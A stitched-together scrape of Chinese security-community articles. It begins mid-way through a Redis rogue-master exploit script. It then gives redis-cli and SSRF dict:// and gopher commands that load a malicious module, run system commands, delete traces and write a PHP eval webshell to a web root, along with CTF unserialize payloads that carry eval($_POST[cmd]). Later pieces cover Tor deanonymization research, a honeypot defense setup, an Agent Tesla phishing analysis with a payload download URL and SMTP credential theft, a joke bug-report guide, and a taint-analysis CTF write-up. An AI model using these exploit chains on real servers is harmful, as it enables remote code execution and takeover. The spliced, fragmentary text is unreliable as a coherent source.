resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
#elif "exit" in data:
break
if __name__=="__main__":
parser = OptionParser()
parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")
parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")
(options , args )= parser.parse_args()
lport = options.lp
exp_filename = options.exp
CLRF="\r\n"
payload=open(exp_filename,"rb").read()
print "Start listing on port: %s" %lport
print "Load the payload: %s" %exp_filename
RogueServer(lport)
redis-cli -h 192.168.10.187
> ping
> config set dir ./ # 设置redis的备份路径为当前目录
> config set dbfilename exp.so # 设置备份文件名为exp.so，默认为dump.rdb
> slaveof 192.168.10.1 9999 # 设置主服务器IP和端口
> module load ./exp.so # 加载恶意模块
> slaveof no one # 切断主从，关闭复制功能
> system.exec 'whoami' # 执行系统命令
> config set dbfilename dump.rdb # 通过dump.rdb文件恢复数据
> system.exec 'rm ./exp.so' # 删除exp.so
> module unload system # 卸载system模块的加载
#### windows
Redis 官方没有提供 windows 版的安装包，windows 下使用的 Redis 还是 3.X 版本的。 redis
在写文件的时候会有一些版本信息以及脏数据，无法写出正常的DLL、EXE、LINK 等文件，所以 对 `Windows` 下的 `redis`
的利用方法主要是往 web 目录写马以及写启动项。
##### RedisWriteFile
[RedisWriteFile](https://github.com/r35tart/RedisWriteFile)
利用Redis的主从同步写数据，脚本将自己模拟为master，设置对端为slave， master 数据空间保证绝对干净，轻松实现了写无损文件。
参考文章 [对 Redis 在 Windows 下的利用方式思考](http://r3start.net/index.php/2020/05/25/717)
[踩坑记录-Redis(Windows)的getshell](https://xz.aliyun.com/t/7940)可以利用以下方式
* 系统 `DLL`劫持 （目标重启或注销）
* 针对特定软件的 `DLL` 劫持（目标一次点击）
* 覆写目标的快捷方式 （目标一次点击）
* 覆写特定软件的配置文件达到提权目的 （目标无需点击或一次点击）
* 覆写 `sethc.exe` 等文件 （攻击方一次触发）
* mof 等
因为对这些暂时还没有研究，所以在这里只演示以下，在 windows redis 写无损文件
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]
python3 RedisWriteFile.py --rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1 --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt" --lfile="test.txt"
哇，这个无损写文件真是 yyds，在 linux 下利用也是没有一点问题。
## Redis 漏洞在 ssrf 中的利用
### dict 协议
dict://serverip:port/命令:参数
获取信息 `curl dict://192.168.10.187:6379/info`
curl dict://192.168.10.187:6379
curl dict://192.168.10.187:6379/config:set:dir:./
curl dict://192.168.10.187:6379/config:set:dbfilename:exp.so # 设置保存文件名
curl dict://192.168.10.187:6379/slaveof:192.168.10.1:9090 # 连接远程主服务器
curl dict://192.168.10.187:6379/module:load:./exp.so # 加载恶意模块
curl dict://192.168.10.187:6379/slaveof:no:one # 切断主从，关闭复制功能
curl dict://192.168.10.187:6379/config:set:dbfilename:dump.rdb # 通过dump.rdb文件恢复数据
curl dict://192.168.10.187:6379/system.exec:'whoami' # 执行系统命令
curl dict://192.168.10.187:6379/system.exec:rm:'./exp.so' # 删除exp.so
curl dict://192.168.10.187:6379/module:unload:system # 卸载system模块的加载
成功会有一定的概率性问题，我在尝试的时候无法达到百分百的成功。
### gopher 协议
可以利用 goherus.py 来实现
git clone https://github.com/tarunkant/Gopherus.git
python gopherus.py --exploit redis
import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall", # 实际利用不要用 flushall，会清空整个 Redis 服务器的数据
"set 1 {}".format(shell.replace(" ","${IFS}")), # 可以用 select 1 来切换数据库
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
上面的脚本是写入 webshell 的，如果想利用 ssh-keygen 或者 计划任务只需要简单的修改脚本即可
分享一道前段时间天翼杯中涉及到 Redis 的题目
## easy_eval
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
我们注意到反序列化时有 `__wakeup` 方法，在反序列化时，unserialize() 会检查是否存在`__wakeup`
方法，如果存在则会先调用，所以我们要想办法进行绕过
* 当成员属性数目大于实际数目时可以绕过 wakeup 方法
* 删除掉序列化数据的最后一个 } 或者在 最后两个 } 中间加上 `;` [原理](https://bugs.php.net/bug.php?id=81153)
但是获取参数 `poc` 后会进行正则的判断
> preg_match_all(‘/“[BA]”:(.*?):/s’,$_REQUEST[‘poc’],$ret);
获取的就是类 A 以及类 B 的成员属性的数目。
普通构造反序列化 payload
<?php
class A{
public $code = "";
public function __construct(){
$this->code = 'eval($_POST[cmd]);';
}
function __wakeup(){
$this->code = "";
}
}
class B{
public function __construct(){
$this->a = new A();
}
}
$s = serialize(new B);
echo $s ;
`O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:18:"eval($_POST[cmd]);";}}`
虽然绕过了正则匹配，但是没有绕过 __wakeup
修改 class A
的成员属性数目`O:1:"B":1:{s:1:"a";O:1:"A":2:{s:4:"code";s:18:"eval($_POST[cmd]);";}}`
虽然可以绕过__wakeup，但是会被正则匹配拦截
利用 PHP 对类名大小写不敏感绕过正则
`O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}`
完美，但是我猜测出题人并不想考察这个知识点，而是一种新的 __wakeup
的绕过[思路](https://bugs.php.net/bug.php?id=81153)
删除生成序列化数据的最后一个 }
`O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}`
因为 disable_function 禁用了大部分的命令执行函数，所以直接通过蚁剑链接
发现无法命令执行，所以进行端口的扫描
发现开放了6379 redis 端口，寻找其中的配置文件
找到 redis 的账号和密码进行连接
`/var/www/html` 的目录是不可写的，但是利用 Redis 可以直接写文件到该目录下
但是此处再写进去一个shell 也没什么用，是需要利用到 Redis 的主从复制漏洞来实现 RCE
忘记截图了::happy: 具体操作是利用主从复制拷贝恶意so 文件
可[参考](https://www.cnblogs.com/xiaozi/p/13089906.html)
当然 tmp 目录有可写权限，直接将 so 文件上传到该目录下执行也可。 | 社区文章 |
# TorScan：使用拓扑泄露去匿名化连接
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://ercim-news.ercim.eu/en90/special/torscan-deanonymizing-connections-using-topology-leaks>
译文仅供参考，具体内容表达以及含义原文为准。
Tor是互联网上提供匿名的最广泛使用的工具之一。我们已经设计出新颖的方式来攻击Tor网络,能够频繁损害用户建立了长期连接的匿名用户访问服务以及可预测交互模式。
网络匿名是一把双刃剑。一方面,匿名服务使人们表达他们的想法和观点且没有任何约束带来的恐惧感;另一方面,它也可能被用于在数字化领域的犯罪行为并且不受惩罚和伤害。Tor网络是最广泛使用的网络匿名交流工具。通过路由器连接的三个“中继服务器”的一条可变链,自动运行的Tor服务器,原始的用户建立的“回路”就被隐藏了。
因此,用户连接的服务器看最终无法看到用户真实的ip地址而是看到在中继服务器中最后一台电脑的ip地址。为了使该机制更安全,新连接使用的服务器群每十分钟变化一次,且Tor中继服务器链间的连接多路复用多个用户的会话。
此外,链中的第一个中继服务器,所谓的“守卫”,是从一个中继服务器小集合——通常由3个元件总成——中由用户的Tor客户机程序随机挑选出来作为起点。守卫节点的概念使得用户能够避免落入攻击者控制Tor网络架构的陷阱。守卫中继服务器在集合里持续大约一个月。
图1:用户通过Tor网路连接服务器。
我们已经开发了扫描Tor中继服务器连通性的一些技术。这些能够提供给我们Tor网络的拓扑地图(例子见图2)。
有了每扫描一次路由器20秒的速度或以并行的方式3分钟扫描全网的速度,我们也能观测动态拓扑结构。
图2:105个最快的Tor中继服务器的连通性,3月14日,2012,13:59 GWT。
基于这些数据我们能够设计攻击方式来损害用户匿名通过Tor网络建立的以下2种交互模式:
* 长时间连接:
通过Tor产生的大量下载,大量的及时通讯协议和比特流会创建活跃数小时的回路。观察拓扑结构中的变化来识别中继服务器间保持稳定的那些,这使我们追踪与守卫节点的通信。
* 频繁的,可识别的重连接:
一些网络设备,例如网络邮箱设备Gmail,会频繁地重新到服务器的建立连接。一旦这类连接能够被识别出来是来自同一用户的,能检测大部分出口流量的攻击者就能追踪用户的守卫节点集合。特别的,我们将会用低带宽识别守卫节点。
随着Tor网络逐渐地扩大规模,我们已经创建了一个估计攻击任意参数有效性的模型。主要影响中继服务器连通性的参数是提供给Tor网络的带宽。任何被路由器选择的已知中继服务器主要取决于带宽贡献。虽然其他参数也有影响,这个简单的模型已经能够很好的预测被观测的连通性。
实验证实了我们实现的对真实Tor网络的连通性攻击,并且我们的模型成功地预测了有效性。
所有之前的研究都提到Tor网络难以理解。由于我们的攻击方法相关于其他文献中描述的攻击方式,推断Tor网络拓扑结构也能够被用于改进其他攻击方式。
本文中描述的这项工作已经被欧洲计算机安全研讨会(ESORICS 2012)所接受,且Tor项目也已经注意到我们的发现。文章中我们也描述了避免攻击的反向措施。 | 社区文章 |
# 【技术分享】旧瓶新酒之ngx_lua & fail2ban实现主动诱捕
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
服务器承担着业务运行及数据存储的重要作用，因此极易成为攻击者的首要目标。如何对业务服务器的安全进行防护，及时找出针对系统的攻击，并阻断攻击，最大程度地降低主机系统安全的风险程度，是企业安全从业人员面临的一个问题。
**本篇原创文章主要通过介绍ngx_lua & fail2ban实现主动诱捕从而达到主机防护的效果。**
**ngx_lua & fail2ban实现主动诱捕**
用过主机层WAF的朋友对ngx_lua_waf应该都不陌生，做过SSH防暴力破解的同学应该对fail2ban也有耳闻。
常见的开源主机WAF有 mod_security、naxsi、ngx_lua_waf 这三个，ngx_lua_waf
性能高和易用性较强，基本上零配置，只需要维护规则，常见的攻击类型就都能防御，相对来说是比较省心的选择。同时，基于lua脚本编写模块也很快捷，甚至可以实现一些复杂的业务层逻辑安全控制。当然，选择春哥的openresty也可以，如果选择openresty就不需要再单独安装lua相关的组件了。
这里我们简单介绍一下安装过程，用nginx或者tengine都可以，需要安装LuaJIT，操作系统需要安装zlib,zlib-devel,openssl,openssl-devel,pcre,pcre-devel。LuaJIT安装成功后，如下图所示。
Tengine编译参数如下：
--prefix=/usr/local/nginx
--with-http_lua_module
--with-luajit-lib=/usr/local/luajit/lib/ --with-luajit-inc=/usr/local/luajit/include/luajit-2.0/ --with-ld-opt=-Wl,-rpath,/usr/local/luajit/lib
下载ngx_lua_waf，下载地址为https://github.com/loveshell/ngx_lua_waf，解压后放在/usr/local/nginx/conf目录下，可重命名为指定名称如waf，修改ngx_lua_waf配置文件config.lua，路径根据实际安装情况定。
RulePath = "/usr/local/nginx/conf/waf/wafconf/"
attacklog = "on"
logdir = "/usr/local/nginx/logs/waf"
需要注意logdir指向的目录不存在，需要手工创建，创建后需要修改所属权限，否则防护日志无权限写入。
nginx主配置文件nginx.conf的http段中添加如下内容。
lua_package_path "/usr/local/nginx/conf/waf/?.lua";
lua_shared_dict limit 10m;
init_by_lua_file /usr/local/nginx/conf/waf/init.lua;
access_by_lua_file /usr/local/nginx/conf/waf/waf.lua;
检查nginx配置/usr/local/nginx/sbin/nginx –t，如果没问题重启nginx既可生效。
Fail2ban安装我们就不做过多介绍了，安装配置都比较简单，不过fail2ban的经典用法基本都是用来做SSH防暴力破解的，那么fail2ban到底和ngx_lua_waf有什么关系呢？其实，看一下fail2ban的原理，通过正则匹配SSH日志中的关键字，根据达到定义的触发规则次数，调用iptables将攻击IP
ban掉一定的时间。
相信大家也都想到了，既然能通过匹配SSH日志，web日志肯定也是能匹配到的，只不过是要定义相关匹配规则而已，fail2ban本身也支持apache和vsftp。针对其他的应用系统也一样，分析场景，编写好规则就可以了。
说了这么多，这里才是我们的重点，我们的目的是主动诱捕具有针对性的攻击行为，主动诱捕是相对于传统蜜罐，传统蜜罐是被动的诱使攻击者访问，再对其行为进行记录。主动诱捕是指将具有针对性的攻击行为主动转向蜜罐网络，对攻击者几乎是透明的，不知不觉就进入到了我们的蜜罐网络中。
为什么要采用主动诱捕的方式来进行防御呢，大家可能都有这个体会，我们的应用系统每天都会受到很多攻击，但99%可能都是盲目的扫描探测，只有不到1%可能才是具有针对性的攻击，而我们真正关心的其实就是这1%的针对性攻击，1%的有效数据被99%的垃圾数据覆盖，对分析造成了很大的干扰。
要让主动诱捕真正发挥作用，我们首先要梳理好业务场景，梳理出哪些场景下的攻击是真正具有威胁性的，根据实际情况编写好规则，当攻击行为触发规则，筛选出攻击IP并调用iptables转发到蜜罐网络中。根据不同需求，蜜罐网络中可以KILLCHAIN进行跟踪和分析，也可以根据业务进行攻击行为分析，进而调整整体安全策略，达到有效防御。
当然，蜜罐网络要做好隔离，否则会造成很大的安全隐患，技术也是一把双刃剑，iptables可以将攻击IP流量转发到蜜罐网络，相信大家也想到了利用iptables实现端口复用，绕过一些端口访问控制。因此，要想做到更好的防御，就要比攻击者更了解自己的系统。
以上为悬镜安全实验室原创文章，如需转载请标注：[](http://www.xmirror.cn/)<http://lab.xmirror.cn/atc/2017/07/19/xmirror-security.html> | 社区文章 |
# 一次对钓鱼邮件攻击者的深度溯源分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近几个月以来，随着新型冠状病毒肺炎“COVID-19”在全球范围内快速蔓延，许多国家和地区的卫生系统不堪重负。与此同时，攻击者却趁火打劫，利用钓鱼邮件对政府、医疗等重要部门进行攻击。
通过近期监测的数据，睿眼·邮件发现使用疫情作为钓鱼邮件内容的邮件大幅增长，其中“冒充WHO组织”、“诈骗捐款”、“疫情物资欺骗”、“疫情进度（信息）欺骗”等最为常见。随机截取多个睿眼·邮件的部分流量数据进行分析，发现疫情相关钓鱼邮件占总钓鱼邮件的比例为1月0%、2月0.0634%、3月0.4013%。相比二月，三月份疫情相关钓鱼邮件增长近6倍。同时，攻击者也爱追“热点”，针对疫情的最新动向不断更新钓鱼话术，利用受害者恐惧、好奇等心理，增加钓鱼攻击的成功几率。
在2月初国内疫情较为严重的阶段，攻击者使用“中国冠状病毒病例：查明您所在地区有多少”等中国疫情相关主题及内容进行邮件钓鱼投放木马。而到3月中旬意大利疫情迅速恶化阶段，攻击者转为使用“COVID-19批准的针对中国、意大利的补救措施”等国际热点内容进行邮件钓鱼投放木马。
2月：利用中国疫情相关内容发起攻击
3月：利用国际热点内容发起攻击
在进行抽样分析的过程中，中睿天下安全专家团队发现多起“SWEED”黑客组织发起的疫情相关钓鱼邮件，恶意附件类型多种多样，大多旨在分发Agent
Tesla（一种信息窃取工具，出现于2014年甚至更早），利用CVE-2017-11882漏洞发起攻击，并通过smtp协议回传数据到mailhostbox下注册的邮箱。种种迹象与“SWEED”黑客组织的相关情报完全吻合。
SWEED至少在2017年就已经开始运作，主要使用信息窃取工具和远程访问木马（RAT）来攻击目标。
## 钓鱼邮件溯源分析
我们以其中抽取的两封“SWEED”黑客组织发起的钓鱼邮件为例，来进行详细的溯源分析。
**邮件1：中国冠状病毒病例：查明您所在地区有多少**
钓鱼邮件正文
钓鱼邮件附件
包含附件：list.xlsx
附件MD5：
5fc077636a950cd5f89468e854c0e714
对附件进行联动分析，发现其在多个威胁情报中爆出使用CVE-2017-11882漏洞攻击，在2020-03-14 16:33:30首次攻击被睿眼监测的服务器。
联动分析
### **附件样本分析：**
上述样本利用CVE-2017-11882公式编辑器漏洞，从http://216.170.123.111/file.exe下载文件到%AppData%Roamingvbc.exe执行，vbc.exe内存加载一段ShellCode执行。
下载木马程序
加载一段ShellCode执行
ShellCode中使用ZwSetInformationThread
函数修改_Ethread结构中的HideFromDebuggers进行反调试，之后动态获取一些进程注入使用的API地址。
使用ZwSetInformationThread进行反调试
动态获取进程注入使用的API地址
之后创建RegAsm.exe进程，将本段ShellCode注入新创建的RegAsm.exe进程。
创建RegAsm.exe进程并注入ShellCode
修改线程Context后恢复执行。
修改线程Context
ShellCode注入RegAsm.exe进程后从http://216.170.123.111/nass.exe
下载“nass.exe”，其功能与vbc.exe相同。
下载“nass.exe”
再次从
http://216.170.123.111/MR_encrypted_D34A1CF.bin
下载一个加密的文件。
下载“MR_encrypted_D34A1CF.bin”
解密之后加载执行。
加载执行MR_encrypted_D34A1CF.bin
解密后的EXE为C#编写经过混淆的Agenttesla木马，会收集计算机名、用户名、系统版本以及内存大小等信息，主要为窃取浏览器访问记录及保存的帐号和密码，同时还具有监控键盘按键和剪切板的功能，支持屏幕截图。
收集用户名、计算机名
收集系统版本和内存大小
窃取浏览器访问记录及保存的帐号、密码
监控键盘按键、剪切板，并支持屏幕截图等
收集的信息支持HTTP、FTP以及SMTP三种方式回传。 本样本配置通过SMTP回传。
配置通过SMTP回传
恶意程序中存储的登录方式经过解密可获取攻击者使用的邮箱账号密码。
**邮件2：Coronavirus – H &Q AUTO Update**
钓鱼邮件正文
包含附件：H&Q AUTO customer letter COVID-19 update.doc
附件MD5 :
1c87c6c304e5fd86126c76ae5d86223b
### **附件样本分析：**
对doc文件进行分析，程序调用Office公式编辑器，利用CVE-2017-11882漏洞进行攻击。
调用命令行
恶意文件运行调试后会访问域名“sterilizationvalidation.com”下载PE文件“elb.exe”，其功能与Agent
tesla木马相同。通过路径看，是利用一个存在漏洞的WordPress网站作为C&C节点。
下载请求
通过SMTP流量将从主机中获得的数据发送出去：
wireshark截图（SMTP流量）
从流量上看，攻击者通过mailhostbox邮箱服务商，登陆设定好的邮箱给自己发送了一封邮件，邮件内容是受害主机内的相关应用账号密码。
SMTP协议数据包
发送受害者信息的同时，攻击者也在数据包中暴露了收件邮箱的账号密码。对数据解密后，安全专家成功登陆攻击者的收件邮箱。
攻击者邮箱的收件箱
这是SWEED黑客组织其中一个收取回传信息的邮箱。自2020年1月19日收到第一封邮件起，此邮箱已收到121封邮件。可推断疫情刚开始爆发，攻击者便开始了相应的邮件钓鱼动作，并一直持续进行钓鱼攻击。
**目标受害者影响分析**
无论是钓鱼邮件“中国冠状病毒病例：查明您所在地区有多少”还是“Coronavirus – H&Q AUTO
Update”，其中的恶意程序都只是个木马下载器，最终执行的木马都是Agent tesla木马。
从本次截取的样本数据中，安全专家获得多个“SWEED”黑客组织收取盗窃密码的邮箱，收件箱中共发现342封邮件，对应342个受害者，经去重后被窃取的相关账号密码多达1307个，主要以chrome和firefox中存储的密码为主。
数据回传邮件中的账号分布占比
受害者主机回传的邮件
尽管木马上传程序中并没有设定记录受害者IP，安全专家通过提取EML的Received头中发件客户端IP作为受害者IP，统计发现受害者遍布57个国家。安全专家进一步根据登录URL、受害者IP、账户三个属性筛选出20多个中国受害者，得到30多个国内账号，并经校验发现目前部分账号依然可在线登录。
## 相关安全建议
### 1\. 实时检测疫情相关钓鱼邮件
通过关键词设置实现抗疫期间特定场景的威胁邮件实时监测
### 2.自定义分组疫情相关钓鱼邮件
自定义设置规则实现对特定威胁邮件的自动分组
### 3.MDR服务：邮件攻击溯源服务
针对政企单位自身或部署睿眼·邮件发现的威胁邮件，中睿天下安全专家针对其需求进行深入溯源分析，包括邮件来源、邮件影响范围、邮件攻击目的、攻击者身份背景等溯源分析，最终以报告形式交付，适用于高级邮件攻击事件的溯源分析。
1\. 谨防关于“疫情”、“新型冠状病毒”、“COVID-19”等相关热点词汇的电子邮件，不要随意下载或打开来历不明的相关邮件及附件。
2\.
由于附件中除使用office漏洞和PE文件以外，office宏攻击最为常见。建议在office选项->信任中心->信任中心设置->宏设置->禁言所有宏进行设置，关闭office宏功能，防止被宏病毒感染。
3\.
正文中如果存在网站链接或可点击图片，可点击右键检查其链接URL与描述是否一致。当URL中带有当前邮箱名或使用短链接，如非业务需要，很可能就是钓鱼网站。
## 疫情相关高频邮件名（部分）
**诈骗类型钓鱼邮件**
中国冠状病毒病例：查明您所在地区有多少
Supplier-Face Mask/ Forehead Thermometer
The Latest Info On Pharmaceutical Treatments And Vaccines.
We Have A Lot Of Face Mask!!!
Your health is threatened!
COVID-19批准的针对中国，意大利的补救措施
**WHO组织伪造**
COVID-19 UPDATE
COVID-19更新
RE: Final Control Method | World Health Organization| Important
COVID-19 Solution Announced by WHO At Last As a total control method is
discovered
RE: Coronavirus disease (COVID-19) outbreak prevention and cure update.
World Health Organization/ Let’s fight Corona Virus together
World Health Organization – Letter – COVID-19 – Preventive Measures
**疫情相关恶意邮件附件名：**
COVID-19 UPDATE_PDF.EXE
CV + PICTURES 2938498-02-27-2020.arj
list.xlsx
message.txt .scr
uiso9_cn.exe
Coronavirus Disease (COVID-19) CURE.exe
Breaking___ COVID-19 Solution Announced.img
game_zy0520.pif
CORONA_TREATMENT.pdf.exe
covid-19.img
COVID-19 WHO RECOMENDED V.exe
H&Q AUTO customer letter COVID-19.doc
WHO-COVID-19 Letter.doc
## 相关IOCS： | 社区文章 |
各大漏洞平台和SRC百花齐放，但是让大家头疼的是，漏洞提交之后总是重复了，究竟怎么样才能更快的提交一份漏洞报告呢？本文按照漏洞报告的每个部分进行细分，提出了不少关键性的建设意见，有了这些TIPs相信你能够更加迅速的提交一份漏洞报告。
### 一、漏洞标题
**1、使用UC震惊部的祖传标题。**
在输入标题的时候不用特别在意漏洞出现的位置、功能和参数，直接使用一些带感叹号的句子就可以，这样会显得漏洞比较文艺且紧急，最后的评级会比较高。
**2、随便输点什么即可。**
在输入标题的时候可以让输入法稍微放松些，一些简单的词语不需要太在意，比如”注入咯东“、”未授权反问“，这样会显得你在提交的时候特别的着急，气氛更加紧张，显得漏洞更加紧急，同样可以给人留下一个好印象。
推荐标题：
1.严重！越权支付他人订单！！！
2.一次说走就走的渗透~^_^~
3.发向一个注入问题。
### 二、漏洞自评
**1、别问，问就是严重。**
不需要参考实际的漏洞内容和评级规则去做选择，成年人不做选择，全部填写”严重“就可以。这没啥好说的。
推荐评级：
直接严重
### 三、漏洞详情
**1、直击要害、一步到位**
描述漏洞的时候不需要按照「网站链接-登录账号-功能点-抓包」这样的步骤详细书写，直接写最关键的问题点就好，这样能最大程度减少大家的提交时间。还能像彩蛋一样留一个Referer给审核人员猜测这个页面究竟是从哪个功能点跳转过来的，趣味十足。
推荐写法：
直接burp发送下面的请求包
GET /evhiuhvlsajf.php HTTP/1.1
Referer: https://www.google.com/
Host: xxx.com
**2、截图大法好，不用提供请求包**
在抓包阶段，不需要提供http请求包，因为还要复制粘贴太慢了，直接快捷键截图，然后放一张图片大家就都懂了。最好是那种Windows98上截下来的比较模糊的截图，这样审核可能看不清直接就给了高危。
推荐写法：
如图
<img>
**3、不需要使用耗费时间的Markdown格式**
在报告撰写的时候，markdown格式就显得费事了一些，还需要排版，还是明文的不够安全，所以我们推荐的格式是base64。
推荐写法：
漏洞详情：ZGFpbWF5b25nbWFya2Rvd254c2h1eGllZ2VuZ2hhb2thbg==
**4、擅用形容词：全、整、所有、百万**
在描述的时候尝试使用一些形容词，能让整体的报告显得通俗易懂，形象立体。
推荐写法：
漏洞危害：获取全站HTML源代码，整站CSS文件，泄露所有的静态图片，代码行数达百万
**5、巧用转折句：21天让报告走向跌宕起伏**
为了让人更好地理解漏洞报告，可以尝试一些转折的句子，既能够完美的表达当时的心境，又能够发挥课上偷偷读过的小说的文采，让读者身临其境。
推荐写法：
这个时候，我一想，嘿，这不就是这个问题吗！
我恍然大悟，仰天长啸。
于是乎，我凑近了电脑，打下了这一行payload...
### 修复方案
**1、请求外援**
这个地方可以让自己的爷爷奶奶或者姥姥姥爷帮忙写一下，不需要自己出马，但是他们一般会按照他们的思路写下他们的想法，一般是直接写”你们在计算机方面比我更懂“，或者写”你们玩手机更厉害“等文案。
推荐方案：
1.你们更懂
2.你们最懂
3.你们比我更明白
**2、通用方案**
使用上述方法很容易让别人看出来是爷爷奶奶帮忙写的，这个时候你可以教他们一些通用的描述方法，比如”过滤“，虽然只有两个字，但是能够看出来是懂一些安全技术的，或者写”鉴权“，言简意赅但掷地有声，像极了上级领导在审批单子时的批注，令人印象深刻、眼前一亮。
推荐方案：
1.过滤
2.鉴权
3.提高意识
### 漏洞提交
在最后提交完漏洞以后，一定记得及时通知审核人员，因为他们每天工作的时候都不会看后台的，一般都是在聊天窗口等待大家的消息。可以提交多个漏洞后统一通知他们，也可以提交多个漏洞时，每提交一个就联系一下他们。还有，联系的时候先不要说你提交的是什么，只用发一个”在干嘛呢？“就好，这样做的原因一个是保持你问题的神秘感，其次还可以让他们猜测你的问题，锻炼审核人员的大脑，也被学界称为”量子波动聊天法“。
### 最后的最后
最后祝愿大家做一个优秀的技术人才，挖更多主流的、有价值的高危漏洞，漏洞报告更上一层漏！
(本文不针对任何个人或团体，纯属娱乐，请勿对号入座，如有冒犯，请趁着气头提交漏洞：<https://xianzhi.aliyun.com/>) | 社区文章 |
# 强网杯[pop_master]与[陀那多]赛题的出题记录
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本菜鸡是强网杯[pop_master]与[陀那多]赛题的出题人，由于毕业答辩就在竞赛前一天，可能赛题准备有点仓促，出现了一些预料之外的问题，在这里给各位选手道个歉。
以下为两道赛题的出题思路与预期解。
## pop_master
本赛题被解成了签到题，其中有非预期，也有作弊的情况，组委会一定严查wp，尽全力确保竞赛的公平公正。
本题提供了`10000`个类，需要选手从中找出可用的`pop`链，这个代码分析量是非常大的，`pop`链长度有`20`多层，几乎不可能人工机完成代码审计，所以本题的出题主旨其实是希望选手关注自动化代码审计技术这一部分知识。PHP的自动化代码审计其实是一个非常有意思的主题，我开始关注这一部分技术是因为试用了腾讯的`Xcheck`工具，这工具非常厉害，能够自动审计各种复杂的cms，并生成漏洞报告，大大提高了漏洞挖掘的效率，根据`Xcheck`的公众号，该工具采用的自动化代码审计技术为抽象语法树+污点分析。
本题的预期解题思路为将PHP代码转换为抽象语法树，再基于抽象语法树构建调用关系图与控制流程图，最后基于这两个图做污点分析。但是我看几乎大部分解法都是爆破二叉树或者利用正则来做，还是我的混淆语句太单一了，但是如果遇到更复杂的场景，还是污点分析效果更好。以下为解题思路中的基础知识介绍。
### 抽象语法树
为什么要将PHP代码转换为抽象语法树呢？因为我们要想实现PHP代码的自动化审计，就需要将PHP代码这种非格式化的字符串，转换为格式化的数据结构，这样才能去分析PHP代码的语义，进而实现漏洞挖掘。除了抽象语法树之外，还有token流等中间代码表示，但是目前主流的都是用抽象语法树这种数据结构了。
什么是抽象语法树呢？抽象语法树（abstract syntax
code，AST）是一种数据结构，是程序编译阶段的一种中间表示形式。作为一种良好的中间表示，AST能够比较直观地表示出源程序的语法结构，含有源程序结构显示所需的全部静态信息，并具有较高的存储效率。下图为抽象语法树的图示：
更详细的来看，抽象语法树长这样：
我们如何构建抽象语法树呢？可以使用`php-parser`工具，我注意到有许多选手已经用上了这个工具，这个工具可以帮助我们从PHP代码构建出抽象语法树，并帮助我们对抽象语法树进行各种各样的操作。后续的`exp`我都是基于这个工具做的。
### 构建调用关系图与控制流程图
调用关系图就是指各个函数与类之间的调用关系构成的图，控制流程图将代码根据`if`等跳转语句分割成块，然后这些块之间构成的关系图。调用关系图是将PHP代码进行宏观分割，分割成各个函数与类，然后根据调用关系将这些函数与类连接起来。而控制流程图是微观的图，他是将函数的定义语句分割成代码块，然后根据跳转关系将各个代码块连接起来。用图来表示就是下图所示（左边是调用关系图，右边是调用关系图中某个函数的控制流程图）：
调用关系图的构建非常简单，控制流程图的话稍微复杂一点，就是遍历抽象语法树，当遇到`IF`等各类跳转节点就新建一个代码块，然后找到对应的代码块跳转关系即可。
### 污点分析
污点分析是数据流分析的一种特例，简单解释就是将用户的输入变量标记成污点，比如`$_GET[xxx]`，然后通过遍历调用关系图与控制流程图，对PHP代码的语义进行分析。比如`$a`被污点赋值了，那么`$a`也就成了一个污点，这个过程叫做污点传播。而如果遇到安全处理函数，比如说`addslashes`函数，那么这个变量就不再是污点了，这个过程称之为消毒。当遍历到敏感函数，比如说`eval`函数时，查看该函数的参数是否为污点，如果是污点的话，则标记为找到漏洞。这就是污点分析的主要过程，基本图示如下：
如上图所示，污点分析中，主要的三元素为污染源(`Source`)，敏感点（`Sink`），安全处理部分。
综上所述，我们进行自动化代码审计的主要逻辑如下：
回到本题，笔者构建了一万个类，然后给了一个反序列化的接口，并且调用了反序列化得到的类中的方法，希望选手从一万个类中找到可以命令执行的pop链。那么基于上述思路，我们将PHP代码转换成抽象语法树，然后构建控制流程图与调用关系图，最后遍历控制流程图与调用关系图做污点分析即可。需要注意的是，调用关系图中，我们需要找到从入口方法（也就是index.php中我们调用的那个方法）到敏感方法（带有eval函数的方法）的调用链来进行遍历，而不是随便遍历。
